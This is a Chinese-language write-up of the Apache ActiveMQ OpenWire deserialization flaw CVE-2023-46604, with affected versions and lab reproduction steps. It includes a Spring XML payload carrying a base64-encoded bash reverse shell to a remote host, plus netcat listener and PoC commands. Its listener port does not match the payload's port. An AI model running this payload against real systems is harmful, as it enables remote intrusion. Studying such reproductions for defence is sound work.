CVE-2023-46604
Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)
CVE-2023-46604 是 Apache ActiveMQ 中的一个严重漏洞,涉及 OpenWire 协议的反序列化命令执行问题。这个漏洞允许未经身份验证的攻击者通过恶意构造的序列化数据在服务器上执行任意代码
漏洞描述
Apache ActiveMQ 是一个流行的消息代理,它支持多种协议,包括 OpenWire。CVE-2023-46604 漏洞涉及 ActiveMQ 的 OpenWire 协议在处理反序列化数据时存在的安全缺陷。攻击者可以通过发送特制的序列化对象,利用反序列化过程中存在的安全漏洞,在服务器上执行任意命令或代码
漏洞细节
漏洞的根本原因在于 OpenWire 协议在处理客户端发送的序列化对象时,没有适当的验证和限制。这使得攻击者可以通过发送恶意构造的 Java 序列化数据,触发反序列化过程中的漏洞,从而在服务器上执行任意代码。
影响范围
Apache ActiveMQ 5.18.0 < 5.18.3
Apache ActiveMQ 5.17.0 < 5.17.6
Apache ActiveMQ 5.16.0 < 5.16.7
Apache ActiveMQ < 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 < 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 < 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 < 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 < 5.15.16
漏洞环境
漏洞利用
- 构造恶意序列化对象:攻击者首先需要构造一个恶意的 Java 序列化对象,该对象包含特定的恶意代码或命令。
- 发送恶意数据:攻击者通过 OpenWire 协议将恶意序列化对象发送到运行 Apache ActiveMQ 的服务器。
- 触发反序列化:当 ActiveMQ 服务器接收到这些数据并尝试反序列化时,恶意代码被执行,从而在服务器上实现命令执行或代码执行。
漏洞复现
- 首先,启动一个 HTTP 发连接服务器,其中包含我们的 poc.xml:
python3 -m http.server
-
修改 xml 文件中的反弹 shell 命令
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}</value> </list> </constructor-arg> </bean> </beans>
-
开启监听,然后,执行 poc.py,传入的三个参数分别是目标服务器地址、端口、以及包含 poc.xml 的反连平台 URL:
nc -lvvp 4441
python3 poc.py target port http://ip of http server/poc.xml
-
执行完成后,进入 ActiveMQ 容器:
docker exec cve-2023-46604-activemq-1 ls -l /tmp
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于